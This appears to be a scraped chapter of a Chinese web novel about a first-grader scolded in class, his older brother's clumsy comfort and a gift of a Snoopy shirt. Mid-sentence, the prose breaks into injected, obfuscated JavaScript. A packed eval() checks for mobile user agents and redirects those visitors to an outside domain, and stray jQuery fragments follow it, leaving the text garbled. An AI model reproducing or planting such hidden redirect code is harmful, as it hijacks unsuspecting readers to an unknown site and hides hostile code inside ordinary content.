小学不比幼儿园,生活那么简单肆意,小学有连串的校规,要穿校服,老师也更严厉,没了专门玩耍的时间,要开始接受文化课的教育。
陈安楠再次进入一个全新的环境里,熟悉的伙伴都得打散了重组,好在老天爷似乎也晓得小孩儿怕生,竟然把他的幼儿园好伙伴谢溪安排进了一个班。
陈安楠上学已经一个星期了,可当家长的还是不放心,三人往校门口走,陆文渊一手一个,兜住俩小孩的后脑勺,叮嘱:“崽崽,咱们说好的,要在学校互相照应,不可以吵架。”
陆清远不说话,陈安楠一吵架就要掉眼泪的娇气劲儿不随时移,也不随境迁,难哄的要死,他才不会没事给自己找麻烦。
陈安楠这会儿完全不知道有人在心里编排他,亲昵地扣住叔叔胳膊说:“放心吧放心吧,我会照顾好哥哥的。”
陆文渊笑说:“你俩有话可千万要好好说,我就你们这俩个心肝儿,哪个气坏了我都得心疼死。”
陈安楠知道叔叔疼他,他舍不得让叔叔心疼,所以,当陆清远把他送到教室里时,他扯扯哥哥的衣服,很懂事的说:“放学我还在操场等你呀,你别忘了我。”
陆清远今年升了五年级,下午比陈安楠多一节课的时间,他把拎了一路的书包放到陈安楠座位上,说:“我记得,你别乱跑就行。”
陈安楠乖乖点头,看着哥哥离开一年级教室,又扒着窗户,看他消失在拐角的楼梯。
哥哥走后,陈安楠就不说话了,他默默坐在位置上,看前后左右的新同学都在叽叽喳喳的做建交,他把铅笔盒打开,慢吞吞地把铅笔按照高低顺序重新排列了一遍。
班主任这个点还没进班,小朋友们格外欢腾,陈安楠融不进去,每次对于陌生的环境,他都得花好长时间去适应,要是有人主动找他还好,如果没有,他就会老老实实倒腾自己的事。
好在谢溪没多久也进班了,这学期他俩是同桌,有熟悉的小伙伴陪着,陈安楠就没那么恐惧社交了,高兴地晃来晃去,中午去食堂吃饭的时候,还多吃了半碗饭。
谢溪还是跟从前一样,对这个小弟格外照顾,给他带奥利奥吃。
俩熟悉的小孩坐在一块,就很难老实,上课的时间,陈安楠认真听老师讲课,谢溪就在他旁边叽里咕噜的说悄悄话。
陈安楠左耳朵听老师讲话,右耳朵又要听谢溪唠叨,脑袋实在转不过来,只能抿着嘴,用胳膊肘戳戳谢溪,示意他别说话。
谢溪还以为他在跟自己玩儿,也用胳膊肘捅回去,用得劲头稍大了点,撞得陈安楠身子歪了下。
陈安楠皱起小眉头,这会玩的心性也爬上来,就故意用劲杵了下谢溪。
谢溪不服输的伸手,拍了下陈安楠的手背,陈安楠眼睛没动,却伸伸手,在谢溪的桌子上摸来摸去,也想拍回来,谁知道谢奚却突然把手拿开了,让陈安楠拍了个空。
桌子被拍出“啪”地一声响。
谢溪嘿嘿偷笑两声。
俩小孩上课动静闹这么大,被数学老师逮个正着,这老师刚上课就立过规矩,很严厉,也不惯着小朋友,当即把书一拍,一视同仁的说:“陈安楠谢奚我盯你俩很久了!一节课就45分钟,一个人耽误一分钟,两个人就耽误别人90分钟!到后头站着去,别耽误人家听课!”
陈安楠从来没被这么凶过,吓了一大跳。楞好半天才反应过来,他盯着老师凶厉的目光,乖乖起身站到了教室后面。
才上学没多久就被老师严肃批评,陈安楠脸皮薄,承受不住,脸热到耳朵根,后半节课也没敢再动,只低着头,僵直身子,站得板板正正。
直到打下课铃,他都还坑着头站那儿,老师叫他回去,他才挪着小碎步回位置上。
陈安楠一天的劲头一下跌落谷底,他闷闷不乐的趴在桌上,眼睛睁得圆溜溜的,谢溪问他要不要去接水,他也不说话。
谢溪很识趣的道歉,他摇摇头说:“没事。”
谢溪看着好朋友的脸埋进了臂弯里,转了个方向,料想这会儿他正伤心呢,就拿着陈安楠的水壶要去给他接水。
陈安楠不想麻烦别人,只好也跟上去,拿回谢溪手里的水壶,俩小孩一块去。
学校的饮水台在走廊尽头,每层楼都有,不过低年级的饮水池很矮,是专门给小朋友使得,只是年代久了,水会迸出来,一般接水要把水瓶口往上怼点。
陈安楠刚把水壶放到龙头下面,一只手忽然从后面伸过来,托住他的手腕,语气平淡:“抬高点,别溅到。”
熟悉的语气,陈安楠唰地扭头,瞧见竟然是陆清远站在自己身后,哥哥已经比自己高出很多,伸手直接拿过他的水壶,说:“以后先接热水,再兑三分之一的冷水,喝起来正好。”
陈安楠看哥哥给自己接水,就乖乖退到旁边,脸热还没褪去,这会儿不想抬头叫人看见,就把头坑得很低。
“不会接水就等我下课过来,我每两节课来一次。”陆清远又说。
陈安楠语气沮丧:“你也在这接水吗?”
“嗯。”陆清远把水壶还给他。
陈安楠捧着杯子,闷闷的说:“谢谢哥哥,那我先回去了。”说完,他跟谢溪一块朝回走。
走廊上玩耍的小孩多,俩人的脚步声淹没在嘈杂的声音中。
“等等。”没走多远,陆清远忽然出声,吓得陈安楠一抖,上节课数学老师叫他,已经快给他叫出心里阴影了。
陈安楠回头,看见陆清远快步走来,没什么情绪的表情显得有点凶冷。
陈安楠抱着自己的小水壶,拘谨的站住,不知道是那句话惹得哥哥不高兴。
“谁欺负你了?”陆清远突然问。
陈安楠瞪圆眼睛,不知道哥哥怎么会这么问,可不敢把今天挨批评的事情说出来,多不好意思,况且也不是被欺负的事,本来就是他有错在先。
“说话,谁欺负你了?”陆清远又重复了遍。
小孩情绪外漏的太明显,想让人忽略都难。
陈安楠心虚,只能含含糊糊的说:“没有呀,我很好呢。”
他是不想说的,谁知道旁边谢溪奋高自勇的抢答:“我知道!他挨老师批评了!没事,我也挨老师说了呢,我俩一起罚站的。”
陈安楠脸都要烧起来了,急忙捂住谢溪的嘴:“你可别说话了!”
陆清远没理他,只问陈安楠:“因为这个不高兴?”
陈安楠小心思被人戳破,心虚又不好意思,他着急想走,陆清远却说:“过来。”
陈安楠挪着小碎步挨近哥哥。
俩人要说小话,谢溪懂,他爸平时要说什么话也都不让他靠近的。他自觉站到了旁边去等人,看陈安楠呆呆的立在那儿,又看见陆清远突然弯下膝,蹲身在陈安楠面前。
“其实老师也没有说什么,”陈安楠努力给自己找补,“我上节语文课的时候,老师说我拼音写得很漂亮呢,他们星星都都没有我的多,而且,音乐老师说我唱歌很好听,让我以后在前面当领唱,我中午还吃了一碗半的饭,是不是很厉害哇?”
看哥哥并不说话,陈安楠又说:“我答应叔叔要照顾你的,你可别光顾着问我呀,你有什么事也记得跟我说呢。”
陆清远依旧不回答,只是帮他把裤腿朝上折起来一截,昨天刚下过雨,地面湿漉漉的,一走迸一个泥点子,这会儿陈安楠的一圈裤腿上迸的都是黄褐色的小印子,邋遢还丑。
这个小孩连自己都捯饬不明白,还叽里呱啦的说要照顾别人。
陆清远冷兮兮地说:“你怎么老是喜欢跟傻子玩?”
语气里明晃晃的不耐烦让陈安楠的话被噎住,手指头抠抠衣角,站得也没刚才那么直了,肩膀塌下去一点,小声说:“我知道了……”
小孩子的心思细腻柔软,陈安楠被老师说得再难听,都不如哥哥一句话来得让他失落,他已经把自己表现好的地方都拿出来说了,却没被表扬。
这让他觉得自己很没用。
陆清远站起来,看陈安楠下巴埋在奶白色的衬衫领子里,这衬衫是几年前买的,没有最开始那么白,是一种泛着浅黄的暖白,因为衣服口袋边儿印着只史努比的图案,陈安楠就一直不肯换,年年夏天都会掏出来穿。
陈安楠肉肉的小脸被领子顶出层双下巴,眼里有情绪渐渐漫上。
陆清远绞尽脑汁,也只能安慰出一句话:“你以后少跟傻子玩,就不会挨批评了。”
陈安楠乖乖点头,跟着谢溪回教室去了。
小孩因为被批评的事,这几天心情都很不好,像被雹打的小白菜,外面还青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449672|168873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,内里已经受了伤。
周末晚上七点,新闻联播还没播完,家家户户都在主持人四平八稳的播报声中烧菜。炝锅声混合着油烟气,从各个缝隙间钻进来,都不需要出门也能闻着香味。
陆文渊在阳台的泡沫箱上松土,陈安楠拖着张小板凳坐过来,静静看叔叔拿把小铁铲把土翻来翻去。
他来的这两年里,陆文渊每年都会撒点菊花脑的菜籽在土里,这种野菜发得快,春秋季里都能长,只要一点水就会长成一大片,割了也会继续长,直到长出一蓬蓬黄色的小花,收籽后来年还能再种。
这座城市里很多人家都喜欢在露台上种点野菜,有条件的就在自家院里开片花圃,里头种韭菜芹菜,搭葡萄架,分门别类,都是些好长的。
陈安楠喜欢看叔叔忙碌的样子,他蹲在那儿,半边脸隐在月光里,显出几分温厚从容。
陆文渊一边低头往土里拨菜籽,一边笑说:“你一到秋天就上火,我种点菊花脑,到时候打蛋汤,正好防你上火,这野菜好长,种一颗能得一片。”
陈安楠撑着脑袋问:“那种一只史努比,也会长出很多史努比吗?”
他这说法逗得陆文渊不禁一笑:“崽崽,这是长不出史努比的。”
陈安楠想了想,又说:“那我们养一只可以吗?养一只吧。”
陆文渊笑出声,认真地跟他说:“崽崽,不是叔叔不想给你养,家里已经有棉花糖了,叔叔认为,你现在的能力还不足以同时照顾两只小动物,你养一条生命,就得对它负责对不对?”
“好吧。”陈安楠抠掉鞋边上的泥土,有点郁闷,又往屋子里头看看。
陆清远正坐在电风扇前,在吱呀呀地机器转头声里吃小布丁,似乎是察觉到道不明显的目光,眼睫倏然一抬,看过来,棉花糖原本趴在他脚边,也跟着动作一抬脑袋。
陈安楠更郁闷了,心想,棉花糖已经去给别人当狗了。
他失落劲儿持续好几天,晚上连画册也不看了,洗漱完就要爬上床睡觉。
可陆文渊却突然把小孩叫进房间里,笑眯眯地递给他一只纸袋:“来,叔叔送你件礼物。”
“什么礼物呀?”陈安楠好奇地接过袋子,手伸进去,从硬壳纸袋里掏出来一件衣服,抖开,竟然是一件口袋边儿绣着史努比图案的衬衫!
他慢慢瞪圆眼睛,又惊又喜,眼巴巴地问:“为什么给我买衣服哇?”
陆文渊的眼神很柔软,摸他脑袋:“今天音乐老师打电话来跟我说,你唱歌很好听,以后要让你当领唱,我说那敢情好呀,我们楠楠以后指不定要当上歌手了,为了庆祝我们楠楠的成功,叔叔先提前送你一件礼物。”
陈安楠眼睛都亮起来了:“真的吗?”
他手指头在图案上摸了又摸,开心得不行,抱住陆文渊的胳膊说:“语文老师也夸我写字好看呢,我每次习字册都能得三颗星,是不是很厉害呀?”
陆文渊把他掐抱起来,在他下巴上兜了一把,毫不吝啬的夸赞:“那当然了,我们楠楠是世界上最棒的小朋友。”
陈安楠沮丧好久,终于有人夸,哼唧唧地搂住叔叔脖子,腻歪了好一会。
许是太高兴了,晚上睡觉,陈安楠还不忘记把这件衬衫翻来覆去的看好多遍,郑重其事的摆在自己身边,关灯了还要摸两遍。
陆清远嫌他翻来覆去的烦,说:“你再不老实睡觉,我就给你扔出去。”
陈安楠翻身,晃悠着小腿,兴冲冲地说:“哥哥,叔叔夸我了,还送我礼物呢。”
陆清远不耐烦地背对着他,说:“你都说一万遍了。”
陈安楠心满意足的闭上眼,咕哝:“叔叔怎么这么好呢?音乐老师居然会打电话回家的呀,那数学老师也会打电话回家吗?”
想到这,他猛地一哆嗦:“好可怕呀,以后可不能再挨批评了。”
音乐老师当然没有打电话回家,陆清远听着耳边细碎的嘀咕,心想:老师要是来家访,第一个就得说你别跟傻子玩。
雨后的月色轻柔,放映带似的转出陆文渊诧异的脸,哭笑不得:“你自己买的自己送,爸爸可不做借花献佛的事。”
陆清远不答话,只是一味把纸袋子推他爸面前,并且坚定的认为——他从来不擅长做安慰人的事,从来都是。